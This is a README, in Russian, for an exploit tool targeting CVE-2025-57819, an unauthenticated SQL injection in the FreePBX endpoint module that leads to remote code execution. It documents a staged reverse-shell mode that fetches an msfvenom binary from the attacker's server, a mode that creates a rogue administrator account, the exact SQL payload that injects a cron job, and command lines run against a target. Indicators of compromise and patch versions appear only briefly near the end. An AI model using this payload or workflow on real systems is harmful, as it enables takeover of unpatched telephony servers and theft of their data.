CVE-2025-57819 — FreePBX: неаутентифицированный SQLi до RCE

Универсальный эксплойт для CVE-2025-57819, неаутентифицированная SQL-инъекция в модуле endpoint FreePBX, которая приводит к удаленному выполнению кода через внедрение задачи cron.

• CVSS: 9.8 (Критический) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CISA KEV: Добавлено 29 августа 2025
• Затрагивает: Sangoma FreePBX 15, 16, 17 с модулем endpoint < 15.0.66 / < 16.0.89 / < 17.0.3
• Исправлено в: endpoint 15.0.66, 16.0.89, 17.0.3

Краткое описание уязвимости

FreePBX предоставляет конечную точку admin/ajax.php?module=FreePBX\modules\endpoint\ajax без необходимости аутентификации (CWE-288). Параметр brand передается напрямую в SQL-запросы без очистки (CWE-89), что позволяет злоумышленнику внедрять произвольные SQL-операторы в базу данных asterisk.

Цепочка атаки

[Unauthenticated HTTP request]
        │
        ▼
admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=<SQLi>
        │
        ▼
SQL Injection into `cron_jobs` table
(INSERT with attacker-controlled command, schedule="* * * * *")
        │
        ▼
Within ~60 seconds, the cron daemon executes the command as the `asterisk` user
        │
        ▼
Remote Code Execution

Возможности эксплойта

Этот эксплойт поддерживает три режима:

1. Staged Reverse Shell (по умолчанию)

1. Генерирует бинарный файл linux/x64/shell_reverse_tcp через msfvenom
2. Запускает HTTP-сервер для раздачи бинарного файла
3. Запускает TCP-слушатель для оболочки
4. Внедряет задачу cron через SQLi, которая загружает и выполняет бинарный файл
5. Когда срабатывает cron, вы получаете интерактивную оболочку
6. Очищает внедренную задачу cron при выходе

python3 cve_2025_57819_aio.py <target_url> <lhost> <lport>

Пример:

python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452

Это использует порт 4452 для обратной оболочки и 4453 для HTTP-сервера этапа.

2. Создание пользователя администратора (--create-user)

Создает новую учетную запись администратора FreePBX через SQLi. Не требуется обратная оболочка, обратная связь или бинарные файлы.

python3 cve_2025_57819_aio.py http://freepbx.internal --create-user

3. Пользовательский Payload (--payload <path>)

Используйте собственный бинарный файл ELF вместо генерации с помощью msfvenom.

python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
    --payload /path/to/custom_shell.elf

Требования

• Python 3.6+
• Библиотека requests (pip install requests)
• Для staged режима: Metasploit (msfvenom) или пользовательский payload с --payload
• Для режима --create-user: Ничего, кроме Python + requests

Как это работает

Вектор SQL-инъекции

Уязвимая конечная точка:

GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=<SQLi>

Параметр brand конкатенируется в SQL INSERT без очистки. Эксплойт формирует инъекцию следующим образом:

';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','<CMD>',NULL,'* * * * *',30,1,1) --

Замыкающий -- комментирует остаток исходного запроса.

Выполнение cron

FreePBX использует подсистему cron Asterisk. Задачи cron проверяются каждую минуту. Когда расписание вставленной задачи (* * * * *) совпадает, команда выполняется от имени системного пользователя asterisk.

Очистка

После завершения сессии (или по тайм-ауту) эксплойт отправляет DELETE SQLi для удаления внедренной задачи cron из cron_jobs.

Индикаторы компрометации

• Неожиданные записи в asterisk.cron_jobs со случайными именами модулей/задач
• Исходящие HTTP-запросы с сервера FreePBX на внешние IP-адреса на высоких портах
• Соединения reverse shell от пользователя asterisk
• Случайные новые учетные записи администраторов в ampusers (если режим --create-user)

Смягчение

Обновите модуль endpoint до исправленных версий:

• 15: >= 15.0.66
• 16: >= 16.0.89
• 17: >= 17.0.3

Ссылки

• NVD — CVE-2025-57819
• Консультация по безопасности GitHub — GHSA-m42g-xg4c-5f3h
• CISA Известные эксплуатируемые уязвимости
• watchTowr Labs
• Консультация сообщества FreePBX

Отказ от ответственности

Данное программное обеспечение предоставляется только для образовательных и авторизованных целей тестирования безопасности. Несанкционированное использование против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения, незаконно. Автор не несет ответственности за любое неправомерное использование.